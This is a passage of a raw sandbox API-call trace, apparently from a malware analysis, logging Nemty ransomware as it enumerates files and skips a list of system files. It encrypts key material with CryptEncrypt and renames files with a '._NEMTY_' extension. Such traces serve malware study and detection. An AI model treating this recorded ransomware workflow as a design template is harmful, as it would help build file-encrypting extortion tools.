SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0082.537] CloseHandle (hObject=0xffffffff) returned 0 [0082.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0082.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0082.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0082.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0082.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0082.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0082.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0082.538] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0082.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.538] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0082.538] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2=".") returned 1 [0082.538] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="..") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="...") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="windows") returned -1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="rsa") returned -1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="ntldr") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="programdata") returned 1 [0082.539] lstrcmpiW (lpString1="rectangle_postage_Thumbnail.bmp", lpString2="appdata") returned 1 [0082.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_postage_Thumbnail.bmp", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0082.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_postage_Thumbnail.bmp", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_postage_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 31 [0082.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0082.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_postage_Thumbnail.bmp", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0082.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_postage_Thumbnail.bmp", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_postage_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 31 [0082.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0082.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_postage_Thumbnail.bmp", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0082.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_postage_Thumbnail.bmp", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_postage_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 31 [0082.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_postage_Thumbnail.bmp", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0082.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0082.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_postage_Thumbnail.bmp", cchWideChar=31, lpMultiByteStr=0x4f9ed58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_postage_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 31 [0082.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0082.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0082.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0082.540] Sleep (dwMilliseconds=0x5) [0082.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe4da3130, dwHighDateTime=0x1d561e7)) [0082.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe4da3130, dwHighDateTime=0x1d561e7)) [0082.553] GetLastError () returned 0x5 [0082.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.553] GetLastError () returned 0x5 [0082.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0082.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0082.553] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0082.553] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0082.553] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0082.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0082.553] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="RK4Sj5hjPwkUNhOT1Ik+R1sxXPhWywuT8CPkp58BNZbMVkONOm/ntnrE0aVrHRoy\r\nUCpomToQ60aq63Rox/+e1ns3uj93+LzBtFMH1IPOlvOyRJ+v0zsd5Bq5jWZhju7d\r\nRkB70HUQTVNsFMITJXYfNewL9rwAr2ZhH20fw5W3CxQdgQMiXEQ451pXrJDixgMz\r\nDIAEo3NG+1ezGNwYr3/5OdqxPFU1eRDTIn+BBJDF6bvSD30/kx40tJNcfKsescWJ\r\nLYHPg2TrO+iq66brTNlIlAV9zLQrTHChg8KgobqI7kot+bwR3Z2WPQWdzGTRL3jG\r\nfCBsSpltTp3Vuhz0H6rMFA==\r\n", pcchString=0x653ec5c) returned 1 [0082.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0082.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0082.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0082.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0082.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0082.554] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.554] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0082.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0082.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.563] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.563] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, 